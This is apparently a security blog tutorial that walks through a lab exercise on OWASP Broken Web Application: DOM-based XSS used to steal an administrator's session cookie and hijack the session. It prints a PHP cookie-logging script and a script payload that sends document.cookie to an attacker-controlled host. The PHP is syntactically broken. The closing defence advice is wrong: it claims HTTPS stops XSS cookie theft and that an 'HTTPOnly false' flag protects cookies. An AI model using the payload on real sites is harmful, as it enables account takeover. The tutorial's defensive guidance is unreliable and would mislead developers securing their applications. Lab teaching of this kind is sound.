Difficulty: Easy
Introduction
Cross Site Scripting (XSS) Vulnerability rank 7th in OWASP TOP 10 Web Application Attacks, found mostly in 80% of all dynamic websites using Javascript. XSS can leads any attacker who can steals and extracts Sensitive Data of any Web Application which can further leads to many damages. There are multiple types of XSS attacks, and the most interesting of them are DOM Based XSS. The Document Object Model (DOM) is a convention for representing and working with objects in an HTML document (as well as in other document types). Basically all HTML documents have an associated DOM, consisting of objects representing the document properties from the point of view of the browser. DOM XSS is a type of attack which relies on inappropriate handling, in the HTML page, of the data from its associated DOM.[1] In this article we are going to show how an Attacker can steal Cookies and can relive and manipulate the real alive Session.
What are Cookies?
We use Internet in our day-to-day lives and access it with the help of the Browser. With every website, and every other information we scroll and see via Internet through the Browser, the browser saves some information regarding the Websites a user scroll which can be text and other type of information. These “text” can be User ID, User Information, Session ID etc. which are stored in the Device where the Browser is working. Websites are only allowed to look at their own cookies and not others. These Cookies also stores : Your login state, stored preferences on websites etc.
Sessions
Session is a term used for defining a time-stamp of any authenticated access control which is a key-value pair data structure. Every authenticated session would be having a Session ID which differentiate them from every other Sessions. By default, a session lasts until there’s 30 minutes of inactivity. For a single user application, there will be only one session not more than that.
That’s how a Session Works.
Relation of Cookies and Sessions
When we any web page from a Web Server, along with the web page content, the Web Server also sends information of the Session through the form of a Cookie for the session ID which will identify the connection with the Web Server among all the connections coming towards the Web Server. If there is a PHP webpage, there will be a PHP SESSIONID, if its a ASP then it will be ASP SESSIONID and same goes for others.
Workflow
- There will be a Web Application having authentication functionality. The Attacker will use DOM Based XSS functionality which will leads to stealing the Cookie having Session ID.
- Attacker will create a PHP Code for stealing and saving the Session Details into it.
- Further by changing and manipulating the Session ID, the Attacker will get access into the account of other User.
Lab Environment
Attacking Machine : Kali 17.3, Browser — Mozilla Firefox Quantum, Extension Advanced Cookie Manager[3].
Web Server : OWASP Broken Web Application[4].
Victim Machine : Win XP SP3
Proof of Concept
- Running up the Attacking Machine, Web Server and the Victim Machine in VMware.
- Accessing the Web Server through its IP in Attacker and Victim machine.
Creating the Cookie Stealer code in PHP for further saving the Session details in a text file. In the Attacker’s Machine we have to the store the code into “/var/www/html” directory.
<?php
header(‘Location:http://lucideus.com/'); // Redirecting it towards a particular website.
$cookie = $_GET[“c”];
$file = fopen(“log.txt”, “a”); //Creating a Text file for storing the Session details while appending.
fwrite($file, $cookie “\n\n”); //Writing the text of Cookie in the Log File.
?>
Using the Web Application by the Attacker and the Victim. The attacker would not be having any Administrator Privileges, but the Victim would be having it.
Performing XSS in the Web Application by finding an Vulnerable Input Method. When it is confirmed the Web Application is Vulnerable, stealing out Cookies from the Web Application and redirecting it to any other URL.
XSS Code :
<script> document.location=”http://Attacker’sIP/cookiestealer.php?c=”document.cookie; </script>
When the attacker click on post, It will leads to the Blank Page further redirecting to the URL, the attacker has put into the malicious PHP code.
When we go back to it we get the Session ID in the URL itself and in the text file too while changing the URL. The URL will be showing all the details of the Cookie in the the URL only. Along with Cookie Stealing, this is further leading to Sensitive Data Exposure Vulnerability where the data of Cookies is being exposing in the URL.
Further a Attacker can check the Session ID of itself by Advanced Cookie Manager. After finding out the Session ID of the Attacker, with the help of same code only, the Attacker will redo all the steps but this time for getting the Session ID of the Victim. Currently the Session ID and the Cookie details of the Attacker was :
Now accessing the Web Server by the Victim Machine which is having the Administrator Privileges, the Attacker will steal the Session ID and replace it with their Current Session ID with the help of Cookie Manager.
The moment, the attacker again run XSS and the Victim will refresh the Webpage, the Cookie Details along with the Session IDs is exposed in the URL along with the text file.
By getting the Session ID and other details, the Attacker can replace its current Session ID with the Victim’s Session ID and can login into the Victim’s Session where the Victim was a Administrator and the Attacker was the Guest User.
Earlier the Attacker was logged in with the Guest User Privileges.
And the Session ID of the Attacker as Guest was this.
The Attacker further replace the Session ID with the Victim’s Session ID.
And Welcome Admin :)
Conclusion
Any Web Service using HTTP Service can leads to Cookie Stealing and other more Vulnerabilities. A Web Server should use HTTPS which is SSL (Secure Socket Layer) or any new version of SSL like TLS which will prevents from stealing of Cookie and further prevents by more secure procedures like encryption and with further secure transmission of data. Further browsers should have XSS Protection which is nowadays available as a feature, which will further leads to more protection to prevent XSS. Web Application itself can enable “HTTPOnly false” flag which will lead to the HTTPS only option and protects from Cookie Stealing and Session Hijacking.
